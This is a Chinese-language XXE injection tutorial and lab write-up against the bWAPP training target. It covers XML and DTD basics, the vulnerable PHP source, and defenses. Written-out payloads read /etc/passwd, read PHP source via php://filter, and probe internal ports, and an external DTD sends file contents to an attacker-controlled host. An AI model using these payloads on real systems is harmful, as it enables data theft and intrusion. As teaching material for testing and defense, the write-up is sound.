一、XML、DTD、实体介绍
XML
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD是什么?
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD文档类型定义(document type definition) 的东西控制的。
DTD用来描述xml文档的结构,一个DTD文档包含:
元素的定义规则;元素之间的关系规则;属性的定义规则。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
1、内部DTD文档
<!DOCTYPE 根元素 [定义内容]>
2.外部DTD文档
引入外部的DTD文档分为两种:
(1)当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
(2)如果引用的DTD文件是一个公共的文件时,采用PUBLIC标识,如下方式:
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">
实体:
实体是用于定义引用普通文本或者特殊字符的快捷方式的变量。
在DTD定义中,一条!ENTITY语句用于定义一个实体。
在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。
内部实体:
<!ENTITY 实体名称 "实体的值">
//只能在DTD中申明,可在xml文档中引用
外部实体:
<!ENTITY 实体名称 SYSTEM "URI/URL">
//只能在DTD中申明,可在xml文档中引用
外部参数实体:
<!ENTITY % 实体名 "实体内容”>或者<!ENTITY %实体名称 SYSTEM ”URI”>
//参数实体用%实体名称申明,引用时也用%实体名称
//参数实体只能在DTD中申明,DTD中引用
学习XXE漏洞,首先得了解XML,推荐一篇写的很好的博客:
XML文件约束之DTD详解https://blog.csdn.net/gavin_john/article/details/51532756
二、XXE原理
XXE(XML External Entity Injection)即XML外部实体注入 。
我们先分别理解一下注入和外部实体的含义。
注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。
所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
三、判断是否存在XXE漏洞
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞,接下来,来看一个小小的展示:
注:我用的靶场是虚拟机导入bWAPP,下载链接:
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
在物理机上访问,点击下面的Any bugs然后用burp抓包
随便输入下
从上面我们可以看到,web应用正在解析xml的内容,接受用户特定或者自定义的输入,然后呈现给用户。为了验证,我们可以构造如下的输入:<?xml
version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY test "testtest">]>
<reset><login>bee;&test;</login><secret>Any bugs?</secret></reset>
可以看到应用程序确实是直接解析了xml
源代码如下:
<?php
include("security.php");
include("security_level_check.php");
include("connect_i.php");
$message = "";
$body = file_get_contents("php://input");//file_get_contents() 函数把整个文件读入一个字符串中。
// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
ini_set("display_errors",1);
$xml = simplexml_load_string($body);//simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素.
// Debugging
// print_r($xml);
$login = $xml->login;
$secret = $xml->secret;
if($login && $login != "" && $secret)
{
// $login = mysqli_real_escape_string($link, $login);
// $secret = mysqli_real_escape_string($link, $secret);
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
// Debugging
// echo $sql;
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
else
{
$message = "An error occured!";
}
}
// If the security level is MEDIUM or HIGH
else
{
// Disables XML external entities. Doesn't work with older PHP versions!
// libxml_disable_entity_loader(true);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $_SESSION["login"];
$secret = $xml->secret;
if($secret)
{
$secret = mysqli_real_escape_string($link, $secret);//mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
// Debugging
// echo $sql;
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
else
{
$message = "An error occured!";
}
}
echo $message;
$link->close();
?>
LOW级别:
xxe-2.php文件通过PHP伪协议接收XML内容,然后使用simplexml_load_string() 函数直接把 XML 字符串载入对象中,未做任何过滤,最后再将从xml中获取的login元素值直接回显。
$body = file_get_contents(“php://input”);//file_get_contents() 函数把整个文件读入一个字符串中。
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
ini_set("display_errors",1);
$xml = simplexml_load_string($body);
$login = $xml->login;
$secret = $xml->secret;
if($login && $login != "" && $secret)
{
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
$recordset = $link->query($sql);
if(!$recordset)
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
Medium/High级别:
与Low级别一样,xxe-2.php文件通过PHP伪协议接收XML内容,然后使用simplexml_load_string() 函数直接把 XML 字符串载入对象中,未做任何过滤。但不同之处在于login元素值是从session中获取,攻击者无法利用login元素来进行XXE攻击。
$xml = simplexml_load_string($body);
$login = $_SESSION["login"];//login元素值是从session中获取
$secret = $xml->secret;
if($secret)
{
$secret = mysqli_real_escape_string($link, $secret);
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
$recordset = $link->query($sql);
if(!$recordset)
- List item
{
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
四、漏洞利用
1、文件读取(有回显的xxe利用)
PHP中测试POC
- File:///path/to/file.ext
- http://url/file.ext
- PHP://filter/read=convert.base64-encode/resource=/home/bee/test.php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://ip/bWAPP/robots.txt">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "file:///etc/passwd">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
读取成功
Medium/high级别下用读取robots.txt的代码测试一下,未返回文件内容
原因上文已有描述,login元素值是从session中获取,攻击者无法利用login元素来进行XXE攻击。
2、读取php文件
直接利用file协议读取PHP文件,就会产生报错。
直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析,这时候就分不清处哪个是真正的xml语句了,那么需要base64编码来读取
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "php://filter/read=convert.base64-encoding/resource=/home/bee/test.php">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
呜呜呜,按理来说应该可以的,我也不知道哪里出了bug,有大佬路过的话请求指教
之后进行解密得到对应内容
3、BlindXXE
由于此靶场没有BlindXXE漏洞,但我们可以运用BlindXXE的思路来做一下测试
先构造XXE的文件读取payload
假设没有回显,想知道是否成功读取目标服务器文件,可通过查看日志
cd /var/log/apaches
cat access.log
从日志可知利用XXE成功读取文件。
将payload中的robots.txt改为不存在的hhh,再查看一下日志,可以看到404,目标服务器不存在该目录。
4、本地测试无回显注入读取文件
在实际情况中,大多数情况下服务器上的 XML 并不是输出用的,所以就少了输出这一环节,这样的话,即使漏洞存在,我们的payload的也被解析了,但是由于没有输出,我们也不知道解析得到的内容是什么,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带数据。
我们使用ncat监听一个端口:
netstat -ano | find “445” 445端口成功被打开
在自己电脑上写一个xxe.dtd文件,用外部调用dtd文件的方法,dtd文件内容如下:
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % dtd "<!ENTITY send SYSTEM 'http://192.168.1.1:445?%xxe;'>">
%dtd;
在burp中写入payload,如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note PUBLIC "xxe" "http://192.168.1.1/xxe.dtd"
>
<reset><login>&send;</login><secret>Any bugs?</secret></reset>
思路:
1.靶机远程调用攻击机上的dtd文件
2.把调用的dtd文件解析,读取靶机本地文件(问号后面的内容即文件路径)
3.虽然无回显,由于靶机访问了攻击机,所以可以在本机上查看日志,会发现我们收到了一个连接请求,问号后面的内容就是我们读取到的文件内容。
但是报错了,应该远程调用dtd文件被禁用了
之后打开控制面板-系统和安全-管理工具-查看事件日志中查看日志,dtd文件根本没被访问
5、内网端口探测
payload:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
探测80端口,显示报错信息
netstat -tln查看本机已开放哪些端口
再扫描23端口,23端口未开放,报错信息也与探测开放端口的报错信息不同
6、发起dos攻击
影响:
此漏洞非常危险, 因为此漏洞会造成服务器上敏感数据的泄露,和潜在的服务器拒绝服务攻击。
五、工具–Collaborator插件
Burp Collaborator是从Burp suite v1.6.15版本添加的新功能,它几乎是一种全新的渗透测试方法,常用于测试不回显信息的漏洞。Burp Collaborator会渐渐支持blind XSS,SSRF, asynchronous code injection等其他还未分类的漏洞类型。
安装:
Burpsuite的extender模块下的bapp store ,找到 Collaborator点击安装即可。
安装后默认使用官方提供的服务器(推荐),也可以自己搭。
由于小蜜蜂靶场没有BlindXXE漏洞,我们继续假装它就是没回显。
先抓取数据包,并修改为如下payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://ip/bWAPP/robots.txt">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
再点击Burp Collaborator client打开 collaborator 插件
再点击Copy to clipboard复制payload url,该url随机生成
然后使用Collaborator生成的payload url
点击go后可以在Collaborator看到访问记录
如果响应包返回一串随机内容,说明成功进行了响应,目标服务器进行了外部的请求和交互,证明存在Blind XXE。
六、防御
防御方法:
- 禁用外部实体
- 过滤和验证用户提交的XML数据
- 不允许XML中含有任何自己声明的DTD
- 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可
参考:
https://mp.weixin.qq.com/s/jvbZ6Andk_oQEo9cXA_daQ
https://mp.weixin.qq.com/s/C6uB2f98xRpxTdToGapvJw